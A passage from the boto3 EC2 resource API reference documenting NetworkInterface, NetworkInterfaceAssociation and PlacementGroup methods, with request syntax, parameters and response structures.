Guide_](../../guide/resources.html#actions-intro). + +assign_private_ip_addresses(kwargs_) + +Assigns one or more secondary private IP addresses to the specified network interface. + +You can specify one or more specific secondary IP addresses, or you can specify the number of secondary IP addresses to be automatically assigned within the subnet's CIDR block range. The number of secondary IP addresses that you can assign to an instance varies by instance type. For information about instance types, see [Instance Types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about Elastic IP addresses, see [Elastic IP Addresses](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +When you move a secondary private IP address to another network interface, any Elastic IP address that is associated with the IP address is also moved. + +Remapping an IP address is an asynchronous operation. When you move an IP address from one network interface to another, check network/interfaces/macs/mac/local-ipv4s in the instance metadata to confirm that the remapping is complete. + +You must specify either the IP addresses or the IP address count in the request. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AssignPrivateIpAddresses) + +**Request Syntax** + +response = network_interface.assign_private_ip_addresses( + AllowReassignment=True|False, + PrivateIpAddresses=[ + 'string', + ], + SecondaryPrivateIpAddressCount=123 +) + +Parameters + +- **AllowReassignment** (_boolean_) -- Indicates whether to allow an IP address that is already assigned to another network interface or instance to be reassigned to the specified network interface. +- **PrivateIpAddresses** (_list_) -- + + One or more IP addresses to be assigned as a secondary private IP address to the network interface. You can't specify this parameter when also specifying a number of secondary IP addresses. + + If you don't specify an IP address, Amazon EC2 automatically selects an IP address within the subnet range. + + - _(string) --_ +- **SecondaryPrivateIpAddressCount** (_integer_) -- The number of secondary IP addresses to assign to the network interface. You can't specify this parameter when also specifying private IP addresses. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'NetworkInterfaceId': 'string', + 'AssignedPrivateIpAddresses': [ + { + 'PrivateIpAddress': 'string' + }, + ] +} + +**Response Structure** + +- _(dict) --_ + + - **NetworkInterfaceId** _(string) --_ + + The ID of the network interface. + + - **AssignedPrivateIpAddresses** _(list) --_ + + The private IP addresses assigned to the network interface. + + - _(dict) --_ + + Describes the private IP addresses assigned to a network interface. + + - **PrivateIpAddress** _(string) --_ + + The private IP address assigned to the network interface. + + +attach(kwargs_) + +Attaches a network interface to an instance. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AttachNetworkInterface) + +**Request Syntax** + +response = network_interface.attach( + DeviceIndex=123, + DryRun=True|False, + InstanceId='string', + NetworkCardIndex=123 +) + +Parameters + +- **DeviceIndex** (_integer_) -- + + **[REQUIRED]** + + The index of the device for the network interface attachment. + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **InstanceId** (_string_) -- + + **[REQUIRED]** + + The ID of the instance. + +- **NetworkCardIndex** (_integer_) -- The index of the network card. Some instance types support multiple network cards. The primary network interface must be assigned to network card index 0. The default is network card index 0. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'AttachmentId': 'string', + 'NetworkCardIndex': 123 +} + +**Response Structure** + +- _(dict) --_ + + Contains the output of AttachNetworkInterface. + + - **AttachmentId** _(string) --_ + + The ID of the network interface attachment. + + - **NetworkCardIndex** _(integer) --_ + + The index of the network card. + + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +tag = network_interface.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +list(ec2.Tag) + +Returns + +A list of Tag resources + +delete(kwargs_) + +Deletes the specified network interface. You must detach the network interface before you can delete it. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteNetworkInterface) + +**Request Syntax** + +response = network_interface.delete( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +describe_attribute(kwargs_) + +Describes a network interface attribute. You can specify only one attribute at a time. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkInterfaceAttribute) + +**Request Syntax** + +response = network_interface.describe_attribute( + Attribute='description'|'groupSet'|'sourceDestCheck'|'attachment', + DryRun=True|False, + +) + +Parameters + +- **Attribute** (_string_) -- The attribute of the network interface. This parameter is required. +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Attachment': { + 'AttachTime': datetime(2015, 1, 1), + 'AttachmentId': 'string', + 'DeleteOnTermination': True|False, + 'DeviceIndex': 123, + 'NetworkCardIndex': 123, + 'InstanceId': 'string', + 'InstanceOwnerId': 'string', + 'Status': 'attaching'|'attached'|'detaching'|'detached' + }, + 'Description': { + 'Value': 'string' + }, + 'Groups': [ + { + 'GroupName': 'string', + 'GroupId': 'string' + }, + ], + 'NetworkInterfaceId': 'string', + 'SourceDestCheck': { + 'Value': True|False + } +} + +**Response Structure** + +- _(dict) --_ + + Contains the output of DescribeNetworkInterfaceAttribute. + + - **Attachment** _(dict) --_ + + The attachment (if any) of the network interface. + + - **AttachTime** _(datetime) --_ + + The timestamp indicating when the attachment initiated. + + - **AttachmentId** _(string) --_ + + The ID of the network interface attachment. + + - **DeleteOnTermination** _(boolean) --_ + + Indicates whether the network interface is deleted when the instance is terminated. + + - **DeviceIndex** _(integer) --_ + + The device index of the network interface attachment on the instance. + + - **NetworkCardIndex** _(integer) --_ + + The index of the network card. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **InstanceOwnerId** _(string) --_ + + The AWS account ID of the owner of the instance. + + - **Status** _(string) --_ + + The attachment state. + + - **Description** _(dict) --_ + + The description of the network interface. + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + + - **Groups** _(list) --_ + + The security groups associated with the network interface. + + - _(dict) --_ + + Describes a security group. + + - **GroupName** _(string) --_ + + The name of the security group. + + - **GroupId** _(string) --_ + + The ID of the security group. + + - **NetworkInterfaceId** _(string) --_ + + The ID of the network interface. + + - **SourceDestCheck** _(dict) --_ + + Indicates whether source/destination checking is enabled. + + - **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + + +detach(kwargs_) + +Detaches a network interface from an instance. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DetachNetworkInterface) + +**Request Syntax** + +response = network_interface.detach( + DryRun=True|False, + Force=True|False +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Force** (_boolean_) -- + + Specifies whether to force a detachment. + + Note + + - Use the Force parameter only as a last resort to detach a network interface from a failed instance. + - If you use the Force parameter to detach a network interface, you might not be able to attach a different network interface to the same index on the instance without first stopping and starting the instance. + - If you force the detachment of a network interface, the [instance metadata](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html) might not get updated. This means that the attributes associated with the detached network interface might still be visible. The instance metadata will get updated when you stop and start the instance. + + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_network_interfaces()](#EC2.Client.describe_network_interfaces "EC2.Client.describe_network_interfaces") to update the attributes of the NetworkInterface resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +network_interface.load() + +Returns + +None + +modify_attribute(kwargs_) + +Modifies the specified network interface attribute. You can specify only one attribute at a time. You can use this action to attach and detach security groups from an existing EC2 instance. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyNetworkInterfaceAttribute) + +**Request Syntax** + +response = network_interface.modify_attribute( + Attachment={ + 'AttachmentId': 'string', + 'DeleteOnTermination': True|False + }, + Description={ + 'Value': 'string' + }, + DryRun=True|False, + Groups=[ + 'string', + ], + SourceDestCheck={ + 'Value': True|False + } +) + +Parameters + +- **Attachment** (_dict_) -- + + Information about the interface attachment. If modifying the 'delete on termination' attribute, you must specify the ID of the interface attachment. + + - **AttachmentId** _(string) --_ + + The ID of the network interface attachment. + + - **DeleteOnTermination** _(boolean) --_ + + Indicates whether the network interface is deleted when the instance is terminated. + +- **Description** (_dict_) -- + + A description for the network interface. + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Groups** (_list_) -- + + Changes the security groups for the network interface. The new set of groups you specify replaces the current set. You must specify at least one group, even if it's just the default security group in the VPC. You must specify the ID of the security group, not the name. + + - _(string) --_ +- **SourceDestCheck** (_dict_) -- + + Indicates whether source/destination checking is enabled. A value of true means checking is enabled, and false means checking is disabled. This value must be false for a NAT instance to perform NAT. For more information, see [NAT Instances](https://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/VPC_NAT_Instance.html) in the _Amazon Virtual Private Cloud User Guide_ . + + - **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + + +Returns + +None + +reload() + +Calls [EC2.Client.describe_network_interfaces()](#EC2.Client.describe_network_interfaces "EC2.Client.describe_network_interfaces") to update the attributes of the NetworkInterface resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +network_interface.reload() + +Returns + +None + +reset_attribute(kwargs_) + +Resets a network interface attribute. You can specify only one attribute at a time. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ResetNetworkInterfaceAttribute) + +**Request Syntax** + +response = network_interface.reset_attribute( + DryRun=True|False, + SourceDestCheck='string' +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **SourceDestCheck** (_string_) -- The source/destination checking attribute. Resets the value to true . + +Returns + +None + +unassign_private_ip_addresses(kwargs_) + +Unassigns one or more secondary private IP addresses from a network interface. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/UnassignPrivateIpAddresses) + +**Request Syntax** + +response = network_interface.unassign_private_ip_addresses( + PrivateIpAddresses=[ + 'string', + ] +) + +Parameters + +**PrivateIpAddresses** (_list_) -- + +**[REQUIRED]** + +The secondary private IP addresses to unassign from the network interface. You can specify this option multiple times to unassign more than one IP address. + +- _(string) --_ + +Returns + +None + +[NetworkInterfaceAssociation](#id1246) +---------------------------------------------------------------------------------------------------- + +_class_ EC2.NetworkInterfaceAssociation(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) NetworkInterfaceAssociation: + +import boto3 + +ec2 = boto3.resource('ec2') +network_interface_association = ec2.NetworkInterfaceAssociation('id') + +Parameters + +**id** (_string_) -- The NetworkInterfaceAssociation's id identifier. This **must** be set. + +These are the resource's available identifiers: + +- [id](#EC2.NetworkInterfaceAssociation.id "EC2.NetworkInterfaceAssociation.id") + +These are the resource's available attributes: + +- [carrier_ip](#EC2.NetworkInterfaceAssociation.carrier_ip "EC2.NetworkInterfaceAssociation.carrier_ip") +- [ip_owner_id](#EC2.NetworkInterfaceAssociation.ip_owner_id "EC2.NetworkInterfaceAssociation.ip_owner_id") +- [public_dns_name](#EC2.NetworkInterfaceAssociation.public_dns_name "EC2.NetworkInterfaceAssociation.public_dns_name") +- [public_ip](#EC2.NetworkInterfaceAssociation.public_ip "EC2.NetworkInterfaceAssociation.public_ip") + +These are the resource's available references: + +- [address](#EC2.NetworkInterfaceAssociation.address "EC2.NetworkInterfaceAssociation.address") + +These are the resource's available actions: + +- [delete()](#EC2.NetworkInterfaceAssociation.delete "EC2.NetworkInterfaceAssociation.delete") +- [get_available_subresources()](#EC2.NetworkInterfaceAssociation.get_available_subresources "EC2.NetworkInterfaceAssociation.get_available_subresources") +- [load()](#EC2.NetworkInterfaceAssociation.load "EC2.NetworkInterfaceAssociation.load") +- [reload()](#EC2.NetworkInterfaceAssociation.reload "EC2.NetworkInterfaceAssociation.reload") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The NetworkInterfaceAssociation's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.NetworkInterfaceAssociation.load "EC2.NetworkInterfaceAssociation.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +carrier_ip + +- _(string) --_ + + The carrier IP address associated with the network interface. + + +ip_owner_id + +- _(string) --_ + + The ID of the owner of the Elastic IP address. + + +public_dns_name + +- _(string) --_ + + The public DNS name. + + +public_ip + +- _(string) --_ + + The public IP address or Elastic IP address bound to the network interface. + + +References + +References are related resource instances that have a belongs-to relationship. For more information about references refer to the [_Resources Introduction Guide_](../../guide/resources.html#references-intro). + +address + +(VpcAddress) The related address if set, otherwise None. + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +delete(kwargs_) + +Disassociates an Elastic IP address from the instance or network interface it's associated with. + +An Elastic IP address is for use in either the EC2-Classic platform or in a VPC. For more information, see [Elastic IP Addresses](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +This is an idempotent operation. If you perform the operation more than once, Amazon EC2 doesn't return an error. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DisassociateAddress) + +**Request Syntax** + +response = network_interface_association.delete( + PublicIp='string', + DryRun=True|False +) + +Parameters + +- **PublicIp** (_string_) -- [EC2-Classic] The Elastic IP address. Required for EC2-Classic. +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_network_interfaces()](#EC2.Client.describe_network_interfaces "EC2.Client.describe_network_interfaces") to update the attributes of the NetworkInterfaceAssociation resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +network_interface_association.load() + +Returns + +None + +reload() + +Calls [EC2.Client.describe_network_interfaces()](#EC2.Client.describe_network_interfaces "EC2.Client.describe_network_interfaces") to update the attributes of the NetworkInterfaceAssociation resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +network_interface_association.reload() + +Returns + +None + +[PlacementGroup](#id1247) +-------------------------------------------------------------------------- + +_class_ EC2.PlacementGroup(_name_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) PlacementGroup: + +import boto3 + +ec2 = boto3.resource('ec2') +placement_group = ec2.PlacementGroup('name') + +Parameters + +**name** (_string_) -- The PlacementGroup's name identifier. This **must** be set. + +These are the resource's available identifiers: + +- [name](#EC2.PlacementGroup.name "EC2.PlacementGroup.name") + +These are the resource's available attributes: + +- [group_id](#EC2.PlacementGroup.group_id "EC2.PlacementGroup.group_id") +- [group_name](#EC2.PlacementGroup.group_name "EC2.PlacementGroup.group_name") +- [partition_count](#EC2.PlacementGroup.partition_count "EC2.PlacementGroup.partition_count") +- [state](#EC2.PlacementGroup.state "EC2.PlacementGroup.state") +- [strategy](#EC2.PlacementGroup.strategy "EC2.PlacementGroup.strategy") +- [tags](#EC2.PlacementGroup.tags "EC2.PlacementGroup.tags") + +These are the resource's available actions: + +- [delete()](#EC2.PlacementGroup.delete "EC2.PlacementGroup.delete") +- [get_available_subresources()](#EC2.PlacementGroup.get_available_subresources "EC2.PlacementGroup.get_available_subresources") +- [load()](#EC2.PlacementGroup.load "EC2.PlacementGroup.load") +- [reload()](#EC2.PlacementGroup.reload "EC2.PlacementGroup.reload") + +These are the resource's available collections: + +- [instances](#EC2.PlacementGroup.instances "EC2.PlacementGroup.instances") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +name + +_(string)_ The PlacementGroup's name identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.PlacementGroup.load "EC2.PlacementGroup.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +group_id + +- _(string) --_ + + The ID of the placement group. + + +group_name + +- _(string) --_ + + The name of the placement group. + + +partition_count + +- _(integer) --_ + + The number of partitions. Valid only if **strategy** is set to partition . + + +state + +- _(string) --_ + + The state of the placement group. + + +strategy + +- _(string) --_ + + The placement strategy. + + +tags + +- _(list) --_ + + Any tags applied to the placement group. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +delete(kwargs_) + +Deletes the specified placement group. You must terminate all instances in the placement group before you can delete the placement group. For more information, see [Placement groups](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/placement-groups.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeletePlacementGroup) + +**Request Syntax** + +response = placement_group.delete( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_placement_groups()](#EC2.Client.describe_placement_groups "EC2.Client.describe_placement_groups") to update the attributes of the PlacementGroup resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +placement_group.load() + +Returns + +None + +reload() + +Calls [EC2.Client.describe_placement_groups()](#EC2.Client.describe_placement_groups "EC2.Client.describe_placement_groups") to update the attributes of the PlacementGroup resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +placement_group.reload() + +Returns + +None + +Collections + +Collections provide an interface to iterate over and manipulate groups of resources. For more information about collections refer to the [_Resources Introduction Guide_](../../guide/collections.html#guide-collections). + +instances + +A collection of Instance resources.A Instance Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all Instance resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance_iterator = placement_group.instances.all() + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +response = placement_group.instances.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Returns + +None + +filter(kwargs_) + +Creates an iterable of all Instance resources in the collection filtered by kwargs passed to method.A Instance collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance_iterator = placement_group.instances.filter( + InstanceIds=[ + 'string', + ], + DryRun=True|False, + MaxResults=123, + NextToken='string' +) + +Parameters + +- **InstanceIds** (_list_) -- + + The instance IDs. + + Default: Describes all your instances. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **MaxResults** (_integer_) -- The maximum number of results to return in a single call. To retrieve the remaining results, make another call with the returned NextToken value. This value can be between 5 and 1000. You cannot specify this parameter and the instance IDs parameter in the same call. +- **NextToken** (_string_) -- The token to request the next page of results. + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of Instance resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance_iterator = placement_group.instances.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +monitor(kwargs_) + +Enables detailed monitoring for a running instance. Otherwise, basic monitoring is enabled. For more information, see [Monitoring your instances and volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-cloudwatch.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +To disable detailed monitoring, see . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/MonitorInstances) + +**Request Syntax** + +response = placement_group.instances.monitor( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceMonitorings': [ + { + 'InstanceId': 'string', + 'Monitoring': { + 'State': 'disabled'|'disabling'|'enabled'|'pending' + } + }, + ] +} + +**Response Structure** + +- _(dict) --_ + - **InstanceMonitorings** _(list) --_ + + The monitoring information. + + - _(dict) --_ + + Describes the monitoring of an instance. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **Monitoring** _(dict) --_ + + The monitoring for the instance. + + - **State** _(string) --_ + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + + +page_size(kwargs_) + +Creates an iterable of all Instance resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance_iterator = placement_group.instances.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +reboot(kwargs_) + +Requests a reboot of the specified instances. This operation is asynchronous; it only queues a request to reboot the specified instances. The operation succeeds if the instances are valid and belong to you. Requests to reboot terminated instances are ignored. + +If an instance does not cleanly shut down within a few minutes, Amazon EC2 performs a hard reboot. + +For more information about troubleshooting, see [Getting console output and rebooting instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-console.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/RebootInstances) + +**Request Syntax** + +response = placement_group.instances.reboot( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +start(kwargs_) + +Starts an Amazon EBS-backed instance that you've previously stopped. + +Instances that use Amazon EBS volumes as their root devices can be quickly stopped and started. When an instance is stopped, the compute resources are released and you are not billed for instance usage. However, your root partition Amazon EBS volume remains and continues to persist your data, and you are charged for Amazon EBS volume usage. You can restart your instance at any time. Every time you start your Windows instance, Amazon EC2 charges you for a full instance hour. If you stop and restart your Windows instance, a new instance hour begins and Amazon EC2 charges you for another full instance hour even if you are still within the same 60-minute period when it was stopped. Every time you start your Linux instance, Amazon EC2 charges a one-minute minimum for instance usage, and thereafter charges per second for instance usage. + +Before stopping an instance, make sure it is in a state from which it can be restarted. Stopping an instance does not preserve data stored in RAM. + +Performing this operation on an instance that uses an instance store as its root device returns an error. + +For more information, see [Stopping instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Stop_Start.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/StartInstances) + +**Request Syntax** + +response = placement_group.instances.start( + AdditionalInfo='string', + DryRun=True|False +) + +Parameters + +- **AdditionalInfo** (_string_) -- Reserved. +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'StartingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} + +**Response Structure** + +- _(dict) --_ + + - **StartingInstances** _(list) --_ + + Information about the started instances. + + - _(dict) --_ + + Describes an instance state change. + + - **CurrentState** _(dict) --_ + + The current state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **PreviousState** _(dict) --_ + + The previous state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and 